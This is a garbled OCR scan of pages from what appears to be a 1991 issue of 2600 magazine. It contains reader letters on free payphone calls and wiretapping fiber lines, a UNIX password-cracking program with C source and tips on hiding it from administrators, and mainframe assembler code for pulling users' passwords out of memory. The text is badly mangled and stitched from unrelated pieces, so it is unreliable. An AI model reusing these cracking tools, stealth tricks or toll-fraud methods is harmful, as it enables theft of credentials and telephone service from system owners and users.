phone that we just don't have time for. People want us 10 tell 
them what kind of computer 10 buy. They want access codes. 
They want 10 talk 10 a "real hacker". Our favorites are the 
people who call our machine, listen to the long detailed 
message about sul=ription rates, then leave us a mes!Uge 10 
call them and tell them how 10 subscribe! 

We don't mean anything personal by this. But we just 
can't reply 10 each and every question ,", get. Questions like 
yours are best answered through the letters sec/ion. 
Regarding your missing issue, let us know which issue you're 
missing and we'/1 send it agaifL 

AT&T Special Deal 
Dear 2600: 

I just wanted to inform your readers that AT&T, in 
cooperation with your local Bell Operatir." Company, has 
been offering a low cost calling option from "Genuine Bell" 

payphones. To use this calling plan, simply dial 
10732+1 +NPA+NXX+XXXX. If your call completes to the 
number dialed without 1'<'JI1"S1 fur the deposit of any money, 
you win Unfortunately, international numbas using the 01 1 
format cannot be dialed using this plan (Canada can be 
reached). 

10732 is the OC (Carrier Identification Code) for 
AT&T's SDN (Software Defined Network). Due to 
programming setup en'Ors in many CO's (central offices), 
"one plus" calls prefixed with this code will complete from a 
payphone at no charge. When !lying this, you may get one of 
the following unsuccessful results: 

1. A request from the ACTS (Automated Coin Toll 
&.vice) or an operator fur the d<posit of money. This woukl 
indicate that there is not a programming error in the CO 
servingthe payphone. Try anothe.- CO. 

2 A reooJding saying that your call cannot be oornpleted 
as dialed or that your call cannot be completed with the IICCe8S 
code you used. Thi<; may indicate that either the CO is not set 
up for equal access or that it does not reoognize the 10732 
Oc. Try anothe.-CO. 

3. A rrorder (fast lu;y) tone. I'm not really sure �t this 
means as far as how the CO is programmed. The reason for 
this confusion is that when dialing from one payphone a 
person might get fust rosy, but when 1rying the payphone right 
next to it in a row of payphones, the call would complete 
without a problem. These results are repeatable. This may 
indicate that AT&T is !lying to block calls from payphones on 
a case by case basis. If you do get a fast bJsy, try another 
payphone on the same CO. 

Noah Clayton 
Telco Rip-off 
Dear 2600: 

Thought you might be interested in the enclosed item that 
came with my latest Pa Bell bill. Note that while they are 
cutting $1.20 off most bills (not mine, I ordered rotary dial 
service when I moved in), they are also cutting back on a 
neglllive sun:harge so as not to lose any revenue (so MY bill 
goes up). 

Note that if you have custom features (Pa Bell calls it 
''COMSfAR'', the TI service is tundled in with it and since 
there is no extra charge for TI, no price reductiofL 

As an aside, several years ago Pa Ben sent me a letter 
saying that they had detected TIs on my line and I wasn't 
paying the swtharge for TI, so I had to either start paying the 
surcharge (since it was "their mistake" that allowed my use of 
TI, they offered to waive back payments if I agreed to start 
paying now), or they would remove the TI service. I called 
and told the belldmid to nmove the TI' service. She said fine. 
I never heard anything further, and my TI phones still wolk to 
this day. 

Information 
Dear 2600: 

RG 
Los Angdes 

The ANACnumber for Nevada L, 3so.xxx-XlUX. 
Other parts are 449. 
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Dtw26fXJ: 
I have aoother 1lIlIllhe.-for your ANAC list. This numbec 

WO!ks in 1Iuee different oounties, bit not always: (415) 700-
xU 1 (x=O-9) 

Dtw26fXJ: 

BoxhoIder 
Wmut Oeek,CA 

I jJst received my first issue of 2600 and I wanted to Jet 
you know how pleased I was. I hope to be a longtime 
subscnber. 

Also, ANAC for 816 is 972-xxxx. 
The Butlt'r  

Dtw26fXJ: 
Did yw know that, at least in the 718-212-516-914 area 

codes, dialing 21 1 is an exIlm1e\y =tive activity? It 
used to give about 10 calls of operatorcrcdit bit siD:e the new 
1991 m1es walt into etfed, it's ooly ahoot fourcalls. Useful if 

yw make a Jot oflocal calls. 

.Jeopardy.Jlm 
Hacking 101 

I just received your Winter 1990 issue and was very 
� by the in-depth quality I read. I am writing mainly 
to find out what back issue of 2600 I should purchase for 
begimting hacking (phones and cat1pIleIs). I was taking a 
te\cvisi<Bllmdio class in co1Jege a coople of moolhs ago. In this 
class the teac:hermentiooed that an)'Xll'oould pid< up oordIe&<; 
phone calls on a scanner, and that it was leg;al. I knew this bit 
oobody, I mean mOOdy e\ae in the class of 50 knew this. Now 
I know what is meant when people like Agmt Steal say, 
"Thank yw to all the stupid people." I own a SC8IlIIa" and am 
just learning ahoot devices to enhance fmqumcies via CRB 
research catalogs. But your issue is much more 
CCIlIpIdvnsive by way of infonnatioo. CRB is equipmmt. All 
this II:nnin<Wgy is new to me am, so where do I tum1 2600 
has opened some doom that I did not know existed. I own a 
CIlI11pIIIa" also (00 modem raj, bit it is sIill such a liIscinaIing 
tool. I want to be a1* to undersIand it inside and out. Not to 
mmtian pOOncs. This is evm more intriguing to me. 

Just to Jet you know, I fOlUld out aoout 2600 through 
Swnd Choice�. They put yw on their list offanlaslic 
catalog.. I can't mgue wi1h that. I think what yw are doing 
with your catalog is a great example for other catalog/l and 
people as well Utilizing your first arnc:ndmmt rigbls the way 
very few people koow oow. I hope that yw can suggest some 
valuarAe reading material on phone and oomputer hacking. 
Thank yw and keql up the good � 

s.c. 
CaIfomIa 

If s hard to point to a particular issue and say that is 
where you U?om about hacking. If s probably bener for you to 
read from issue to issue and glean whatever you can. If you 

find yourselfwanling more i1fo, 1ry the previous years back 
issues. If you like those, keep going. 

A Technical Explanation 
Dtw26fXJ: 

In respoose to the letter "Hl.Il1ting for Wtretaps", Summer 
1990 issue: As for oow someone oould wiretap US Sprint's 

fiber optic networlc, the method is not that complicated. The 
difficuhy is in gelling the equipment and isJlating the specific 
fiber optic line in question. Once you have isolated the 
physical line yw want to mooitor (hard part), you must strip 
away the insulation/plastic until you have the actual, bare 
fiberglass line in hand (al<;o ham!). Now, puks oflight !mvel 
tIuoogh this fiberglass stnutd and, most importantly, OOI.Il1ce 
off the inside "walls" of the strand because of difl'ennc<s in 
the refractive index of air and glass. The angle with which the 
beams of light hit the inside "walls" is critical. Therefore, by 
bending (fiberglass is flexible!) the line into a ''U'' shape, 9:lme 
of the light will escape at the bose of the ''U'' (jJst don't bend it 
too much, or all of the light will escape !).  Since the 
information is being smt through the line in a digital fashion, 
you can ''leak'' some of the light without destroying the 
integrity of the data flowing past the "lap" . Now, attach a 
small device to the base of the "U" which can detect and 
reconIAmnsmit the light pulses, eventually IJ'aMlating it into 
audio (bJtthat's anotherstoryl) . 

Of coume, this is just the technical theOIy _ .. I don't koow 
enough specifics ahoot US Sprint's fiber optic net to tell yw 
more deIaiIs. H:lpe this helps to anvince yw, tOOugh,1hat it is 
indeed possible to tap fiber optic lines. With the right 
"'Iuipmmt and infOJrn..tion (and "CO!lrl<Ctions''), it's probobly 
downright �. 

count Zero 
We an! honored to have your technical e:xpenise to tap 

into. 

COCOT Observations 
Dtw26fXJ: 

A friend of mine twigged me onto the Volume Seven, 
NumberT\\O Summer 1990 issue regarding COCOTs. I wish 
to thank The Plague for the most excellmt wode! 

I have several qucstiCllS and obsavations I wish to bing 
up. After reseaJdring and gaining the rrumbers to over 50 such 
COCOTs, I have found that their ""'J?CIl8"S will oonsist of the 
following: 1) A computerized, irritating voice saying "Thank 
yw" followed by four tooes. (Haven't tried a silver oox yd, 
though); 2) Several rings and then a dead line (no donbt to 
prevmt people calling in); 3) A modem connect, bit with 00 
reaction - i.e., a l:iank screen, despite having tried varioua 
pu:ity sdtings - and then an auto di.soonnect; 4) A full cnmec1 
wi1h wrioos developments. 

I've attached a print-oot of the last example. I'm not an 
expert at this, and ahhough I've identified several strings, I'm 
at a loss as to what the othem mean and if indeed this is really 
worth SOOJCthing. I note that this kind of reaction (#4) occurs 
nudy; not all <XXXJfs do this kind of thing. 

The strings foDowing the payplxme identifie!S will tend to 

vary from phone call to phone call. The phone identifiers 
remain the same (this is the rrumber you called and the ID 
1lIlIllhe.- of the W1it) bit those numbers that appear to be 1cng 
disIance carricn vary each time me calls the payphone. Wha� 
if anything. do these numbers mean? I must admit I'm having 
a blast checking this oot, bit I'd like to koow what it is I'm 
uncovering. 

T:@"2155465134"639900CA41<Y7'1l630*067"910224 
1223435"!XXX)(@T:@"2155465134*6399O*CA41<Y7'1l630 
*067*9102241223453"OO<XXX1YT 
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The number of the payphone I called was 215-546-5134. 
Are the "10224" rnnnbers carrier access codes? How can they 
be us<rl? 

George W. 
Camden, NJ 

The 9102241223435 means February 24, 1991 at 
22:34:35. lfsunclearwhat the 1 in the middle isfor. We tried 
calling that number with the foUowing results. The 63990 is 
now 72385, CA41(J7 is still the same, and 0630 is now 0633. 
Another of our readers tells us that the 067 indicates the 
number of outgoing calls made that day. The numbers at the 
end are simply a disconnect sequence. 

We've found that this string is always sent twice. 
U ntJouIJwd/y, the,. is software that is acrlValed by this string. 
What we'd like to see in the near future is the spedjic type of 
phone this string is generated from. We'd also like to /earn 
more about the software that interfaces with it. 
A Disagreement 
Dear 26IXJ: 

Looking lEek at your Autumn 1990 issue, I found myself 
meed wi1h having to correct your "opinion" of a ..,mce called 
"1-9()O.SI'OPPER". 

You say 1hat it's "another rip·off" - which I feel is an 
unfounded and biased opinion since I have many a story to tell 
regarding 1his ..,mce. 

I have found myself, on many an occasion, the target of 
Secret Setvice investiglltions due to the type of work I am 
involved in (being a telecommunications and security 
cmsultantforvarious clients). 

Neverthe1ess, to put things short, I have utilized the "1-
900-S'fOPl'ER" ..,mces to call various local numbers, 800 
numbers, and international numbers - all without having to 

worry about the government snooping into my 
personal/business telephone records and coming up with 
"whom" and "where" I may have called. 

The "1-900-STOPPER" service does deliver an ID 
number, but it delivers all O's (Le., �) mum docs 
not even give the area code from whim you are callingl 

Further, I'd like to point out that I'd be interested in 
hearing from some of your "aa:omplished" readers (phreaks, 
etc.) as I may have much to share wi1h them and their interests, 
etc. 

Vernon J, Grant 
PO Box 1989-18728 
Ely, NV 89301·1989 

(714) 424-3188 
We Irave to question your knowledge of how ANI is 

delivered. 9OO-STOPPER is an AT&T 900 number. They 
handle the billing. AT&T is certainly equipped to get ANI 
(Automated Number 1dentification) from an incoming call. 
The option can be turned off but the ability is a/wa)<s there. 
Even in those cases where the number is unable to be 
obtained through ANI, the 900 numberisprintedon the biU of 
whoever called it! And even if the outgoing lines for 
SfOPPER are located in some remote pari of the country, 
they're still goi/ig to generate a bill for whatever calls are 
ploced on them. Period It is not difficult to piece it all together 
once you understand how it works. This service should not be 
considered Stje for those who don't  want to get caught at 
something. 

By the way, we find it most interesting that both your 
letter and the threatening /ener that the SfOPPFR people sent 
us tiler we first cri�dzed them were sent to the exact same 
wrong address. What can we draw from this? 
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UNITED STATES D ISTR ICT COURT 

FOR THE DISTRICT OF 
---_______ DIV IS ION 

UNITED STATES OF AMERICA, Criminal No. -::--,-,-::-:-__ _ 
1 8  USC 1 343 

v. 

INDICTMENT 

. The Grand Jury Charges: 

(a) That on or about the dates hereinafter specified, i n  the County of ____ _ 

, in the District of ________ _ ( Name,,' ______ , 

unlawfu l ly, knowingly, and I ntenlionally did devise a scheme or artifice to defraud and 

obta i n  money by means of false or fraudulent p relenses, and did transmit  or c ause to be 

transmitted by means of wire communications In Interstate or foreign commerce, s i g n als 

or sounds for the pu rpose of executing such scheme or artifice which resulted in depriving 

Southern Bell  Telephone and Telegraph Company, ______ .>.!( l'-'o""c a,�t"'io"_'n''__ ____ _ 

of their  charges. The said scheme consisted of uti l izing or causing to be. utilized an 

electronic device, commonly referred to as a "blue box", to avoid telephone call b i l l ings. 

(b) That on or about the ___ day of ________ , 19 __ , In the 

County of ______ . ______ � I n  the District of ___________ _ 

___ -'( N�'!1e' , for the purpose of executing the aforesaid scheme 

and artifice to defraud, and attempting to do so did transmit  and cause to be trans mitted 

i n  foreign c o m m erce by means of a wire communication, that is,  a telephone communica-

t i o n ,  between I n  the State of __________ � 
a n d  , certain signs, signals a n d  sounds al l  in  violation 

of Title 1 8, United States Code, Section 1 343. 
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u n ix password hacker 
by The Infidel 

When you're hacking a UNIX system, 
it's always good to have at least one spare 
account on hand in case you lose your 
cu rrent o n e ,  or in case your current 
permissions aren't great enough to allow 
you to get root access. (I'm assuming the 
reader has a basic understanding of the 
UNIX operating system - there have been 
quite a few articles about the topic here 
in the past.) 

This program automates the process 
of  hacking users'  pas swords . A while 
back, Shooting Shark wrote a similar 
program, but its major weaknesses were 
that it cou ld be easily detecte d  by a 
system administrator and it could only 
hack one user's password at a time. 

Background 
The theory behind thi s program is 

relatively simple. E ach user has an entry 
in the letclpasswd file, which contains the 
username, an encrypted copy of the user's 
p a s s w o r d ,  a n d  some other relevant 
information, such as the user's id, group 
id, home directory, and login process. At 
any rate, what's important here is the 
copy of the encrypted password. 

One of the available system calls to 
the C programmer u n d e r  the UNIX 
operating system is  cryptO . Built into 
every UNIX kernel is a data encryption 
algorithm, based on the DES encryption 
method. When a user enters the "passwd" 
command to change his pass word (or  
when the system administrator assigns a 
new user a password), the cryptO system 
call is made , which the n encrypts the 
selected password and places a copy of it 
into the file /etc/passwd, which is then 
referred to whenever a user tries to log in 
to the system. 

Now, the standard UNIX password is 
somewhere between 1-8 characters long 
(various versions, such as Ultrix, allow 
much longer passwords) .  If you wrote a 
p rogr a m  t h at w o u l d  s e qu e ntially try 
e ve ry p o s s ib l e  l o w e r c a s e  cL a r a ct e r  
sequence, it wou l d  take about 3 * 101\23 

attempts, which translates i nto a little 
over a million ye a r s  p e r  co mplete 
password hack per user. And that was 
just lowercase letters . . . .  

Since I can't wait that long, there has 
to be a better way to do this - and there 
i s .  F o r  the most p a r t ,  ave rage,  
unassuming users are pretty careless and 
naive. You'd be surprised what I've found 
being u s e d  by people for p a s s w o r d s :  
radical,  jo shu a, computer ,  p a s sword, 
keyb o a r d  - very simple to c r ack 
p a s s w o r d s . These are certai nly not 
worthy o f  a million ye ar hack attempt. 
(However, something like UrOdent! or 
lame lite might be.) Lucky for us, every 
UNIX p ackage come s with a s pe lling 
checker,  with a datab a s e  u s u ally 
containing upw ards of 50, 000 entries,  
located at lusr/dict/words . Since every 
user has read acce s s  to this file ,  our 
program will simply read e ach word in 
from the database, one at a time, encrypt 
it, and compare it against the encrypted 
passwords of our target u sers, which we 
got off the letc/passwd file. By the way, 
every u s e r  mu st have r e a d  acce s s  to 
/etclpasswd in order for the available user 
utilities to work. 

Now some sy stem a dministrators 
reading this may just lock out read access 
to the online dictionary, or simply remove 
it fro m  the syst e m .  F i n e . Probably 
everyo ne re ading this has acce ss to a 
spelling checker they use for their word 
proc e s s o r  at home . Since many u s e  
simple ASCII text files a s  their database, 
you can si mply upload your s p elling 
checker database to your UNIX site and 
e a sily modify the p a s s w o r d  hacker's 
"dict" variable to use this new database 
instead of the default. The format of the 
database is simple : there mu st be only 
one word per line . 

Using the Password Hacker 
This program is very sim ple to use.  

I've tried to use standard C code so there 
would be no compatibility problems from 
system to syste m .  Obviou sly, I have n't 
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tested it on every version of UNIX 
available, but you shouldn't really have 
any problems. This program nohups 
itself, meaning that even after you log 
off the system, it will continue to run in 
the background until completion. On 
some terminal configurations,  this 
method of nohuping may lock up the 
terminal after logout until Uhacker is 
done. On these systems, j ust remove 
the line in the source and nohup it 
manually or run it off of the C shell. 

To compile the p rogram, simply 
typ e :  

cc - 0  sort Uhacker.c 
and within a half minute or so,  

y o u  sho u l d  h a v e  a w o rk i n g  c o p y  
o n l i n e  n a m e d  " s o r t " . T h a t  w a y ,  
when you run this program ,  i t  will 
l o o k  to the s y s t e m  a d m i ni s t r at o r  
that you're j ust running s o m e  kind 
of lame sorting p rogram , which of 
cour s e ,  you named "sort" , l ike all  
g o o d  fir s t  y e ar c o m p u t e r  s c i e n c e  
m ajors d o .  

U h a c k e r  w i l l  p r o m p t  y o u t o  
e n t e r  e ac h  u s ername y o u  w i s h  to 
hack, one a t  a tim e .  I f  i t ' s not a 
v al i d  u s e r ,  t h e  p rogram w i l l  t e l l  
you. Y o u  c a n  h i t  control-c t o  abort 
out of it at any t i m e  b e fo r e  y o u  
t e r m i n a t e  t h e  b a t c h  e n t r y .  Aft e r  
you've e n t e r e d  all  t h e  u s e rn am e s  
you wish t o  hack, simply enter "q" 
as the final u s ername.  The program 
defaults to a maximum of ten users 
b eing hacked at a time ,  but you can 
e asily m ake it  accept mor e .  At any 
rate , when the batch i s  c o m p l e t e ,  
t h e  p rogram t h e n  j um p s i n t o  t h e  
b a c k g r o u n d ,  o u t p u t s  t h e  
b a c k g r o u n d  p r oc e s s' i d  n u m b e r ,  
a n d  giv e s  y o u  your origi n al s h e l l  
b ack. T h a t  way, you c a n  g o  on with 
w h a t e v e r  i t  w a s  you w e r e  d o i n g ,  
while t h e  program hacks away. The 
n u m b e r  o u t p u t  a s  " P r o c e s s  
Number:"  i s  the proce ss i d  number 
fo r t h e  b a c k g r o u n d  p r o c e s s  n o w  
r u n n i n g  U h a c k e r . I f  you h a v e  to 
t e r m i n a t e  t h e  U h a c k e r  v e r y  
q u i c k l y ,  a ft e r  i t ' s  i n  t h e  
background, j ust type "kill - 9 xxx" , 

where xxx is that process number. 
When it's done, the program will 

s e n d  i t s  o u t p u t  to t h e  fi l e  
" .newsrc" , a standard file that's on 
e v e r yo n e ' s  d i r e c t o r y  a n d  w i l l  
a t t r a c t  n o  a t t e n t io n .  B y  running 
the p r o gr a m  with t h e -d o p t i o n  
(sort  - d ), i t  will run i n  d eb ugging 
m o d e ,  in c a s e  y o u  d o n ' t  t h i n k  
things a r e  working r i g h t .  Agai n ,  
. n ewsrc will tell  y o u  what's going 
on.  

W h e n  I wrote t h i s  p rogram, i t  
w a s  w i t h  s e c urity i n  m i n d .  N o n 
fatal interrupts a r e  locked out from 
the process,  so only a kill command 
can terminate it once it's start e d .  
L o g g i n g  out o f  y o u r  account w i l l  
n o t  kill it  either, so you c a n  l e t  i t  
run a n d  c a l l  back later to p i c k  u p  
t h e  r e s u l t s .  T h e r e  i s  no way any 
n o s y  s y s t e m  a d m i n i s t r a t o r  c a n  
know w h a t  yo u a r e  doing,  even i f  
h e  t r i e s  r u n n i n g  t h e  p r o g r a m  
himself, because there's n o  text in 
it to give it away. No usernames or 
diction ary file nam es will app e ar in 
a n y  p r o c e s s  l i s t s  or c o m m a n d  
accounting logs . The only way you 
c a n  g e t  c a u gh t  u s i n g  t h i s  is i f  
s o m e o n e  r e a d s  t h e  . n e w s r c  fi l e ,  
which i s  written t o  only after the 
p rogram has fi ni s h e d .  But th i s  is 
an i nnocent fil e ,  so no one would 
look at it  anyway. Also, don't  leave 
t h e  s o u r c e  co d e  o n l i n e . T y p i n g  
"chmod 1 0 0  sort" will allow you to 
have execute access to the program, 
to k e e p  nosy u s e r s  away from it, 
but still  won't keep the superuser 
from running it.  

So how long does this take? On a 
VAX, running wi th only five or so 
users, with a light load, it  will take 
a p p r o x i m a t e l y  t e n  m i n u t e s  p e r  
u s e r n a m e  you'v e e n t e r e d  into the 
b a t c h . W i t h  a h e av y  l o a d  ( 2 0 +  
u s e r s ,  l o a d  average gr e a t e r  than 
3 . 00), it  can take up to an hour per 
u s e r n a m e  i n  the b a t c h .  Yo u ' l l  
re ally just have t o  exp eriment and 
s e e  h o w  t h i n g s  w o r k  on y o u r  
syste m .  Have fun !  
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I" 
* UNIX Batch Password Hacker: U hacker.c 
* Written By The Infidel, BOYWare Productions, 1 991 
*1 

#include <stdio.h> 
#include <pwd.h> 
#Include <signal.h> 

struct acct 
{ 

char nam[1 6] ; 
char crpwd[20]; 

} ; 
struct passwd *pwd; 
int I, batchc, �ount, flag ; 
char *pw, dictwd[20] ; 
static char dict[] = "/usr/dlct/words"; 
static char data[] = ".newsrc"; 

1* Not needed by all UNIX C compilers *1 
int endpwentO; 1* Close letc/passwd file *1 
char *strcpyO, *crypt(), *getpassO, *gel109lnO; 
struct passwd *getpwname();  

main(argc, argv) 
Int argc; 
char *argv[]; 
{ 

FILE *fopen(), *Ifp, *ofp; 

struct acct user[1 1 ] ;  

i f  (argc = =  2 )  { 
if ( !(strcmp(argv[1 ], "-d"))) 

flag = 1 ; 
else { 

prlntf ("Incorrect usage.\n"); 
exit (-1 ) ;  

} 
} 
if ((ifp = fopen(dlct, "r'') == NULL) { 

printf("lnvalid source file.\n\n'') ; 
exit(-1 ) ;  

} 
If ((ofp = fopen(data, "w"» == NULL) { 

printf("Unable to open data file.\n\n") ; 
exit(-1 ) ;  

} 
printf ("Enter input. Terminate batch with a 'q'.\n") ; 
for (i=1 ; 1 < 1 1 ;  ++1) 
{ 

printf (" #"Iod: ", I ) ;  
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} 

} 

scanl ("%s", user[i).nam) ; 
il (!strcmp(user[i).nam, "q"» 

break; 
If (!(pwd = getpwnam(user[I).nam))) { 

printf("Nonexlstent: %s\n", user[I).nam) ; 
-I; 

} 
else { 

sprintf(user[i).crpwd, "%s", pwd->pwJ)8Sswd) ; 

} 
II (I == 1 ) { 

printf ("Abnormal termlnatlon.\n"); 
exH(-1 ) ;  

} 
batchc = I ;  
count = 1-1 ; 

1=lorkO; 1* Create a child process to do the scanning *' 
II (I) { 

prlntf ("\nProcess Number:  %d\n\n", I); 
exH (0) ; 1* Terminate the parent process to give us our shell back *' 
} 

signal (SIGINT, SlG_IGN); 1* Child now In background. Lock out Interrupts *' 
signal (SIGQUIT, SlG_IGN) ; 1* Lock out ctrl-\ quH slgnal *' 
signal (SIGHUP, SlG_IGN); 1* II terminal locks up after logout, delete this 

line. System won't support sell-nohups *' 
II (flag == 1 )  ( 

} 

Iprlntf(olp, "'---------\n"); 
lor (1=1 ; I < batchc; ++1) 

Iprlntf(olp, "Oks - %s\n", user{I).nam, user{I).crpwd); 
Iprlntf(ofp, " \n\n'') ; 

while (Igets(dlctwd, 20, lip) != NULL) ( 
II (dlctwd[strlen(dlctwd)-2) == '#') 

dlctwd[strlen(dlctwd)-2) = '\0'; 
else dlctwd[strlen(dlctwd)-1 ) = '\0'; 
for (1=1 ; I < batchc; ++1) ( 

} 
} 

pw = crypt(dlctwd,user[I).crpwd) ; 
If ( !strcmp(pw,user[I).crpwd» ( 
Iprlntf(ofp, "%s -=> %s\n",user[I).nam,dlctwd) ; 
--(:ount;  
I f  (count == 0 )  { 

} 

fprlntf (ofp, "Job completed.\n\n") ; 
exH(O) ; 

} 

If (count == batchc-1 ) 
fprlntf(ofp, "Unsuccessful.\n\n") ; 

else fprlntf(ofp, "Job completed.\n\n'') ; 
endpwentO ; 
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NAME 

Tbe Sequel 
T E X A S  D E P A R T M E N T  OF  C R I M I N A L  J U ST I C E  

I N S T I T U T I O N A L  D I V I S I ON 

D I RECTOR ' S  R E V I EW COMM I TT E E  

PUBL I CAT ION  DEC I S I ON FORM 

TOC N O ,  __________ _ 

UN I T ____________________ ___ DATE'--________________ _ 

T i t l e  of Pub l i ca t i on 

" 2600 Magaz i ne "  Fal l 1 990 V7 N3 

The Di rec tor ' s  Rev i ew Commi ttee has rendered the fol l owi ng dec i s i on 
regardi ng your pub l i cati on : 

I )  The MSCP dec i s i on not to a l l ow you to rece i ve the above 
pub 1 1  catf on has been rever sed . You may expect to recei ve the 
publ i cati on shortl y .  

txt The MSCP dec i s i on not to a l l ow you to rece i ve the above 
pub l i cati on has been uphe l d ,  

I ) The pub l i ca t i on wi l l  b e  c l i pped . 
Page l s )  _____________ _ 

*x* The pub l i cati on wi l l  not be c l i pped . 

I ) The pub l i cati on conta i n s  contraband i teml s ) .  
The contraband wi l l  be remove d .  

cc : Un i t  Mai l room 

2600 E n terp r i ses 
fi l e  

Yes, the appeal has been denied. Our entire Fall 1990 issue has 

been deemed unfit for Texas prisoners. (Part 1 of this saga can 

be found on page 42 of our Winter issue.) 
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T I TLE ' PW, (LOOKUP ANYONES CURRENT LIHiON PASSWORD ) , O I , KD"' 

I 
I 
I "ODlmAT I ON H ISTORYI 
I 
I UPDATE WHO WHEN DESCR IPTION  
, : : : :  = =  : : : z  = = = = = = = = = = = = = = = = ::  = = =  = =  = = =  = = =  

I 1 00 1  KD" 021 1 1 187 THE  CREAT ION.  
I 
I PROGRA" DESCRIPTION:  
I 
I TO SUCCESSFULLY EIECUTE THIS  PROGRA" THE USER "UST HAVE 
I THE CLASS ' A '  AND CLASS ' C '  OR ' E '  PRIV ILEGE B I T S .  TO  
I GET AROUND THIS  RESTR I C T I ON, EIECUTE THE  PRIV  "ODULE 
I TO SET THE REQU IRED PRIVILEGE B I T S .  YOU MUST HAVE THE 
I CLASS ' B '  B I T  TO  EIECUTE THE PRIV  "ODULE. 

I 
I TH IS  PR06RA" WILL ALLOW YOU TO LOOKUP ANYONES PASSWORD. 
I THE PROm" STARTS OUT BY LOOK I NG AT THE PSA TO GET A 
I POI NTER TO THE SYSLOCS I NFOR"AT lON .  THE SYSLOCS I NFOR-
I "All ON CONTA INS A PO INTER TO D"KSYSPL WHICH I S  THE V IRTUAL 
I L I ST OF POINTERS TO THE V"/SP D IRECTORY. AFTER ALL THE 
I CURRENT POINTERS ARE OBTAINED THE PROGRA" W I LL F IND THE 
I REAL ADDRESS OF EACH PAGE POI NTER AND LOCK THAT PAGE INTO 
I REAL ME"ORY. AFTER THE PAGE IS LOCKED TH I S  PROGRA" STEALS 
I THE PAGE AND STORES I T  I N  V I RTUAL "mRY. THE USERI D  THAT 
I WAS SPEC I F I E D  ON THE CO"MNO L I NE �ILL BE ENCRYPTED. 

I 
I AFTER THE USER I D  IS "ASKED THE PROGRAM WILL SEARCH THE 
I PAGE FOR A "ATCH. I F  THE USER I D  IS NOT FOUND THE PROGRAM 
I W I LL CONT INUE RETR IEVING PAGES AND SEARCH I NG UNT I L  ALL OF 
I THE PAGES IN THE V I R TUAL POINTER L IST HAVE BEEN CHECKED.  
I WHEN THE L I ST I S  EIHAUSTED A "ESSAGE WILL BE PRINTED 
I I NFORMI NG THE USER THAT I T ' S  NOT I N  THE V"/SP D IRECTORY. 
I WHEN THERE IS A "ATCH THE USER I D  AND PASSWORD WILL BE 
I DECRYPTED AND DISPLAYED ON THE TER" I NAL. 

I 
, NOTESr 
I 
I THE PAGE BUFFER AND THE ADDRESS OF THE V I RTUAL L I S T  or 

I REAL ADDRESSES TO  BE ElAM I NED BY THE ElA" I NE REAL 
I "EMORY D IAGNOSE MUST BE  IN THE SAME PAGE OF V IRTUAL 
I STORAGE , THEREFORE , TH I S  PRIHiRAM RESERVES A PAGE or 
I STORAGE AT 1 ' 0021000' FOR THOSE REQUIREMENTS. SEE SYSTEMS 
I PROGRAMMERS GU IDE FOR FURTHER I NFORMATION.  

PRINT NOGEN ; DONT EXPAND MACROS. 
UOI RBLOK DSECT 

SPACE 
III UDIRBLOK - USER D IRECTORY CONTROL BLOCK 

f-----------f-----------f-----------------------t 
: UDIRRSVI : UDIRDISP : UDIRDASD 
+-----------f-----------+-.. ..  --....... -............................... -+ 

UDIRUSER 
+-----------------------------------------------+ 

10 UDIRPASS I 
+-----------------------------------------------+ 

III UO IRBLOK - USER D IRECTORY CONTROL BLOCK 
SPACE 

UDIRRSVI OS IH 
UD IRD ISP DS IH 
UDIRDASD OS IF 
UDI RUSER DS 1 0  
UDIRPASS O S  1 0  

SPACE 

RESERVED FOR FUTURE USE 
DI SPLACEMENT OF THE NEIT BLOCK 
DASD ADDRESS OF THE NEIT BLOCK 
USER I D  
USER PASSWORD 

UDIRS I Z E  E9U ( I-UOIRBLOK 1 I8 UOIR8LOK S I Z E  I N  DOUBLEWORDS 

PW 
EJECT 
START 1 ' 2000' 
ENTRY PW 
ST" R I 4 , R I 2 , 1 2 ( R I 3 )  
LR R I 2, R I S  
LA R I I , 409S ( R I 2 )  
LA  R I I , I <R t I )  
US ING PW, R I 2, R I I  
ST  R I l, SAVEREG' 4  

I L O A D  I NTO C M S  USER AREA. 
I ESTABL I SH ENTRY POINT .  
I SAVE  THE  SUPERVISOR ' S  REG I STERS. 
I "AKE REGISTER 1 2  OUR BASE . 
I I N I T IAL I ZE  2ND BASE RESISTER. 
I ADD I TO "AKE I T  A 4K. 
I ESTABL I SH ADDRESSAB I L I TY.  
I STORE REGISTER 1 3  I N  SAVE AREA.  

� � 
� 

&0 
'1: 
� 

.� 
:t 
� 
� 
«"I 

Ie !'O') 
� 

� 



LA R l 3, SAVERE6 I SAVE OUR SAVE AREA ADDRESS. 
B SKIPCoPY I BRANCH OVER THE COPYR I GHT NOT ICE.  BNZ LOCK ERR I CP LOCK ERROR OCCURRED. 

SPACE 9CT R9, LCKASA I N  I DO I T  T W I C E  TO MAKE SURE I T  LOCKED 

DC CLB' PW' , I THE PROGRAMS NAME fOR THE LA R2, RESPBUf I POINT TO THE RESPONSE BurrER. 

I COPYR IGHT NOT I C E .  MVC TMPREAL , 2S IR2) ; nOYE EBCD IC  REAL ADOR TO TMP f I ELD  

DC  C ' COPYRI GHT 1 987 KEV I N  D .  mNICK '  TR TMPREAL , CHR2 B I N  ; m r O R  REAl MEMORY D I AGNOSE. 

SPACE PACK REALADDR I S ) , TMPREAU9 )  

SKIPCDPY DS OH MVC RADDRLST, REALADDR ; MOVE REAL ADDRESS TO  V IRTUAL L I S T .  

CLI  B I R l l , I ' Ff '  ; USERI D  SPEC I f I E D  ON COMMAND L I NE? BAL R I 4 , 6ETAPAGE ; GO READ I N  THE PAGE . 

9NE GoTUSER ; YES. CONT INUE PROCESS ING.  LTR m , m  ; W A S  T H E  PAGE RETRIEVAL SI)cCESSrUL? 

WRTERM " I NVAL I D  rORm - fORMATE I S :  PW (USERID) '  
BNZ  PAGEERR I NOPE . NOTIfY USER . 

B GETOUT I E I I T  PROGRAM. MVC F IRSTPG2, TEMPrW2+1  ; MOVE f I RST PAGE t TO UNLOCK CMD. 

mum DS OH MYC LASTP62, TEMPFW2+l  ; MOYE LAST  PAGE t TO UNLOCK CMD. 

MVC USERI D , B I R ! ) ; SAVE USERI D .  LA R4 , CPUNLOCK I RI - )  ADDRESS or CP CONMAND. 

IC USER I D, MASK I ENCRYPT USER I D  rOR SEARCH. LA RS , RESPBUF I Rl+ I -)  ADDRESS Dr RESPONSE BurreR . 

BAL R 1 4 , GETPNUMS I GET THE V IRTUAL PAGE POI NTERS. LA R6 , 21 ; RY -)  LENGTH Of CP COMmD. 

